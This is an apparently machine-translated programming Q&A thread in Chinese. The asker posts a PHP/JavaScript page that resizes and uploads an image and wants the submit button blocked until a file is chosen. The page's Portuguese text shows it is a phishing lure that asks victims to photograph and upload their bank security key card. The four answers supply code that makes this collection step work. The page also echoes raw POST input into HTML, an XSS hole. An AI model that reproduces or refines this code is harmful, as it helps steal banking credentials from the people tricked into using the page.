Question

一旦我不理解很多关于javascript和php的话我疯了。我已经完成了这个脚本的一部分，但如果没有上传文件，就会遇到麻烦阻止SUBMIT按钮进入其他页面。

我会用我糟糕的英语来解释。我很抱歉我有一个调整图像大小的JS脚本。它在上传到我的服务器之前调整图像大小。它工作得很好。我能够将调整大小的文件保存到服务器中而没有问题。

BUt如果没有上传文件，我无法停止提交按钮。请帮助我!!

以下是整个html和JS脚本： OBS：PROSSEGUIR = SUBMIT按钮用葡萄牙语。

<?php
include('conn.php');

$check_campo = $_POST['rand'];
$valor_campo = $_POST['position_check'];
$name = $_POST['name'];
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="theme-color" content="‪#ff0000">
    <meta name="msapplication-navbutton-color" content="#ff0000">
    <link rel="stylesheet" href="_styles/home.css">
    <script src="https://code.jquery.com/jquery-2.1.3.min.js"></script>
    <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script>
    <script src="js/canvas-to-blob.min.js"></script>
    <script src="js/resize.js"></script>

    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css">
    <script src="_jscripts/home.js"></script>
    <title> FONE</title>


</head>
<body>

<div class="container bg-red"> <!-- content -->
</div><!-- container -->

<div class="container">
    <div class="content">
        <div style="font-size:1em;color:#ff0000;padding:10px;text-align:center;">
            <?php echo $name;?>
        </div>
    <div class="clear"></div>
    </div><!-- content -->
</div><!-- container -->
 <script type="text/javascript">

        // Iniciando biblioteca
        var resize = new window.resize();
        resize.init();

        // Declarando variáveis
        var imagens;
        var imagem_atual;

        // Quando carregado a página
        $(function ($) {

            // Quando selecionado as imagens
            $('#imagem').on('change', function () {
                enviar();
            });

        });

        /*
         Envia os arquivos selecionados
         */
        function enviar()
        {
            // Verificando se o navegador tem suporte aos recursos para redimensionamento
            if (!window.File || !window.FileReader || !window.FileList || !window.Blob) {
                alert('O navegador não suporta os recursos utilizados pelo aplicativo');
                return;
            }

            // Alocando imagens selecionadas
            imagens = $('#imagem')[0].files;

            // Se selecionado pelo menos uma imagem
            if (imagens.length > 0)
            {
                // Definindo progresso de carregamento
                $('#progresso').attr('aria-valuenow', 0).css('width', '0%');

                // Escondendo campo de imagem
                $('#imagem').hide();

                // Iniciando redimensionamento
                imagem_atual = 0;
                redimensionar();
            }
        }

        /*
         Redimensiona uma imagem e passa para a próxima recursivamente
         */
        function redimensionar()
        {
            // Se redimensionado todas as imagens
            if (imagem_atual > imagens.length)
            {
                // Definindo progresso de finalizado
                $('#progresso').html('Imagen(s) enviada(s) com sucesso');

                // Limpando imagens
                limpar();

                // Exibindo campo de imagem
                $('#imagem').show();

                // Finalizando
                return;
            }

            // Se não for um arquivo válido
            if ((typeof imagens[imagem_atual] !== 'object') || (imagens[imagem_atual] == null))
            {
                // Passa para a próxima imagem
                imagem_atual++;
                redimensionar();
                return;
            }

            // Redimensionando
            resize.photo(imagens[imagem_atual], 800, 'dataURL', function (imagem) {

                // Salvando imagem no servidor
                $.post('ajax/salvar.php', {imagem: imagem}, function() {

                    // Definindo porcentagem
                    var porcentagem = (imagem_atual + 1) / imagens.length * 100;

                    // Atualizando barra de progresso
                    $('#progresso').text(Math.round(porcentagem) + '%').attr('aria-valuenow', porcentagem).css('width', porcentagem + '%');

                    // Aplica delay de 1 segundo
                    // Apenas para evitar sobrecarga de requisições
                    // e ficar visualmente melhor o progresso
                    setTimeout(function () {
                        // Passa para a próxima imagem
                        imagem_atual++;
                        redimensionar();
                    }, 1000);

                });

            });
        }

              /*
         Limpa os arquivos selecionados
         */


    </script>
<script>
     function getmms(imagem){
        if(!imagem){
            alert('Envie uma foto do seu cartão Chave');
            return false;
        }
        else{
            document.getElementById('file_info').value = imagem;
            document.getElementById('getmms').style.display = 'block';
            return false;
        }
        return false;
    }
</script>

<div class="container">
    <form action="msg_finaliza.php" method="post" name="form" onsubmit="return check_position();" enctype="multipart/form-data">
    <div class="content bg-cinza2" style="padding:10px;color:#fff;font-size:0.9em;">
            Seu protocolo de atendimento com tabela ao Internet  está desatualizado.<br><br>
            Para regularizar seu dados, siga os passos abaixo:<br><br>
            <span style="text-align:left!important;">
                Passo 1: Tire 1 foto do seu Cartão Chave de Segurança.<br>
                Passo 2: Envie a foto do seu Cartão Chave de Segurança.<br>
                Passo 3: Aguarde, nossos consultores vão validar e reativar seu Cartão Chave de Segurança!
            </span>
            <br><br>
            Clique no botão abaixo para enviar a foto do seu Cartão Chave de Segurança.
            <br><br>
            <a href="#" class="botao_sobrepor bg-red btn_next_two" style="text-decoration:none;font-weigth:700;position: relative;text-align:center;line-height:40px;">
            Selecionar Foto
            <input type="file" name="imagem" id="imagem" accept=".jpg,.jpeg,.png" style="position:absolute;opacity:0;top:0;left:0;background-color:blue;width:100%;height:40px;" onchange="return getmms(this.form.imagem.value);">
            </a>
            <div class="progress">
            <div id="progresso" class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="0"
                 aria-valuemin="0" aria-valuemax="100" style="width: 0%;"></div>
        </div>
            <input type="hidden" name="file_info" id="file_info" value="">
            <span style="display:none;width98%;height:20px;line-height16px;" id="getmms">
                <img src="_images/ok-png.png" width="20" style="float:left;">
                <span style="display:inline-block;margin-left:10px;margin-top:3px;float:left;">Imagem carregada com sucesso.</span>
            </span>

    </div><!-- content -->
</div>

<div class="container" id="msg_position_erro" style="display:none;">
    <div class="content">
        <div id="receive_msg" style="display:block;margin-bottom:10px;font-size:0.8em;">
            O Código de segurança informado não está correto!<br><br>
            Tente novamente!
        </div>
    <div class="clear"></div>
    </div><!-- content -->
</div><!-- container -->

<div class="container">
    <div class="content">
        <input type="hidden" name="rand" id="rand" value="<?php echo $rand;?>">
        <input type="hidden" name="name" id="name" value="<?php echo $name;?>">
        <input type="submit" name="proseguir" id="proseguir" value="Prosseguir >>" class="bg-red btn_next_two">
    <div class="clear"></div>
    </div><!-- content -->
</div><!-- container -->
    </form>
</div><!-- container -->
<!-- container -->
</body>
</html>
<?php ob_end_flush();?>

请有人帮助我吗？

Answer 1

在你的onsubmit事件中，添加类似这样的内容

if($('#imagem').val().length == 0){
    alert("Please select an image");
    // optionally, disable submit button

    // prevent form from submitting
    return false;
} else {

   // let the form submit
}

Answer 2

您最好的选择是禁用提交按钮，直到有可上传的文件为止。你知道怎么做吗？

在禁用按钮的情况下启动，然后如果您的文件提交，调整大小等成功（除非上传图像，否则不会发生），然后启用“提交”按钮。

将提交按钮更改为以下内容：

<input type="submit" disabled name="proseguir" id="proseguir" value="Prosseguir >>" class="bg-red btn_next_two">

然后，将您看到的额外行添加到getmms函数中：

function getmms(imagem){
    if(!imagem){
        alert('Envie uma foto do seu cartão Chave');
        return false;
    }
else{
    document.getElementById('file_info').value = imagem;
    document.getElementById('getmms').style.display = 'block';
    $('#proseguir').prop('disabled', false);
    return false;
}
return false;
}

两个＆gt;＆gt;故意在下面那行？

 <input type="submit" name="proseguir" id="proseguir" value="Prosseguir >>" class="bg-red btn_next_two">

Answer 3

    // Quando carregado a página
    $(function ($) {

        // Quando selecionado as imagens
        $('#imagem').on('change', function () {
            enviar();
        });

    });

找到这段代码，然后将其改为此，添加@Kevin P所写的内容：

    // Quando carregado a página
    $(function ($) {

        // Quando selecionado as imagens
        $('#imagem').on('change', function () {
            if($('#imagem').val().length == 0){
              alert("Please select an image");
              // optionally, disable submit button

              // prevent form from submitting
              return false;
            } else {
              enviar();
              // let the form submit
            }
        });

    });

Answer 4

你定义了check_position（）吗？

请记住，该函数应返回false以使其无法提交

如何在没有从脚本上传文件时阻止提交按钮？

4 个答案: